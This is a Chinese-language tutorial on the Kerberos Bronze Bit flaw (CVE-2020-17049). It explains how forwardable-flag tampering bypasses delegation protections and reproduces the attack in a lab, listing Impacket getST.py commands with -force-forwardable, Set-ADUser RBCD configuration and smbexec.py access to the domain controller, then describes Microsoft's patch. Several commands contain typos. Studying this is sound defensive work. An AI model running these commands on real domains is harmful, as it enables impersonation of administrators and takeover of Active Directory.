背景
漏洞原理
漏洞复现
约束性委派攻击绕过
基于资源的约束性委派攻击绕过
漏洞预防和修复
背景
- Kerberos Bronze Bit (CVE-2020-17049) 漏洞是国外安全公司 Netspi 安全研究员Jake Karnes 发现的一个Kerberos安全功能绕过漏洞。
- 该漏洞存在的原因在于KDC在确定Kerberos服务票据是否可用于通过Kerberos的约束性委派时,其方式中存在一个安全功能绕过漏洞。
- 利用此漏洞,一个被配置为使用约束性委派的遭人侵服务可以篡改一个对委派无效的服务票据,从而迫使KDC接受它。
- 该漏洞启用的攻击是Kerberos委派引起的其他已知攻击的扩展。
-
- 该漏洞绕过了现有攻击路径的以下两个缓解措施,提高了它们的有效性和通用功能性。
- 绕过了Protected Users组内用户和设置了“敏感账号,不能被委派”的安全措施导致这些用户也可以被委派。
- 绕过在设置约束性委派时勾选“仅使用Kerberos”选项,即无法进行协议转换。
- 该漏洞绕过了现有攻击路径的以下两个缓解措施,提高了它们的有效性和通用功能性。
漏洞原理
- 我们首先来看一下KDC在约束性委派和基于资源的约束性委派校验过程中对于过S4u2Self请求的ST如何进行验证。
- KDC首先会检查通S4u2Self请求的ST的forwardable 标志位。
- -1- 如果该位为0,也就是不可转发,则会再验证是否是RBCD委派。
- 如果不是RBCD委派,则不返回票据。
- 如果是RBCD委派,则再检查被委派的用户是否设置了不能被委派。
- 如果设置了,则不返回票据。
- 如果没设置,则返回票据。
- -2-如果该位为1,也就是可转发,则会再验证两者之间是否有委派配置。
- 如果有委派配置,则返回票据。
- 如果无委派配置,则不返回票据。
- 从这个流程中可以看出,对于约束性委派和基于资源的约束性委派,最后不返回票据的原因各不相同。
- 但是,只要 forwardable标志位为1,则约束性委派和基于资源的约束性委派在S4u2Proxy这一步均能获得票据。因此,我们后续的攻击就能成功。
- -1- 如果该位为0,也就是不可转发,则会再验证是否是RBCD委派。
- 是TGS-REP包,从中可以看出通过S4u2SeIf协议请求的ST是使用Servicel 的 Hash加密,且forwardable标志位不在已签名的PAC中,而我们又已知Servicel 的Hash,因此,我们可以使用Servicel的Hash解密Servicel的ST,然后将forwardable标志位设置为1,再重新加密,形成修改后的Servicel ST。
- 这一步不需要篡改PAC签名,并且KDC在验证PAC签名的时候也无法察觉到数据包被篡改。由于修改后的Servicel ST的forwardable标志位为1,因此在S4u2Proxy这一步就能获得票据。
漏洞复现
- 实验环境如下。
- 域控:AD01(10.211.55.4)。
- 域管理员:administrator。
- 服务账户:hack。
- 域:xie.com。
约束性委派攻击绕过
- 已经配置好了服务账户hack对cifs/ADO1.xie.com具有约束性委派,但是由于选择了“仅使用Kerberos”选项,因此不能进行协议转换。
- 设置域管理员Administrator为“敏感账户,不能被委派”。
当我们使用常规的委派攻击命令时,提示如下错误信息。
- [-]Kerberos SessionError:KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
- [-] Probably SPN ia not allowed to delegate by user test or initial TGT not forwardable
但当我们加上-force-forwardable参数绕过时,则成功获取到票据。
执行环境在win7 gitlab环境进行执行sudo 安装win7 环境
- 以Administrator 身份请求一张访问cifa/ad01.xie.com的票据,加上-force-forvardable 绕过参数
- Python getST.py -dc-ip AD.xie.com xie.com/hack:123@qq.com -spn cifs/AD.xie.com -impersonate administrator -force-forwardable
- #导入该票据
- export KRB5CCNAME=administrator.ccache
- Linux执行如下命令
- export KRB5CCNAME=administrator.ccache
- #访问域控
- python smbexec.py -no-pass -k AD.xie.com
基于资源的约束性委派攻击绕过
- 首先设置域管理员Administrator为“敏感账户,不能被委派”,然后在域控上配置用hack到krbtgt服务具有基于资源的约束性委派,命令如下。
- Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount hack
- Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
当我们使用常规的基于资源的约束性委派攻击命令时,提示如下错误信息。
- [-] Kerberos SessionError: KDC ERR BADOPTION(KDC cannot accommodate requested option)
- [-]Probably SPN is not allowed to delegate by user test or initial rGT not forwardable
但当我们加上-force-forwardable 参数时,则成功获取到票据,如图4-90所示。
- #以Administrator 身份请求一张访问krbtgt服务的票据,加上-force-forwardable 绕过参数
- python3 getsT.py -dc-ip 10.211.55.4 -spn krbtgt -impersonate administrator xie.com/hack:P@ss1234 -force-forwardable
- #导入该票据
- export KRB5CCNAME=administrator.ccache
- #以Administrator 身份访问域控AD01.xie.com
- Python3 smbexec.py -no-pass -k administrator@AD01.xie.com -dc-ip 10.211.55.4
漏洞预防和修复
- 微软已经发布了该漏洞的补丁程序,可以直接通过Windows自动更新解决此问题。
- 那么该补丁是如何修复漏洞的呢?微软在补丁包中新增了一个票据签名。
- 在S4u2Self阶段生成的服务票据,KDC用其密钥在票据上进行了签名,并将签名插入了PAC中,而后PAC又经过两次签名(使用服务密钥PAC_SERVER_CHECKSUM 和使用KDC密钥PAC_PIVSVR_CHECKSUM签名)。
- 在之后的S4u2Proxy阶段,KDC会验证PAC的3个签名,3个签名必须都验证通过,KDC才会返回服务票据,否则KDC将返回KRB_AP_ERR MODIFIED消息。这样,攻击者就无法修改数据包中的forwardable 标志位了。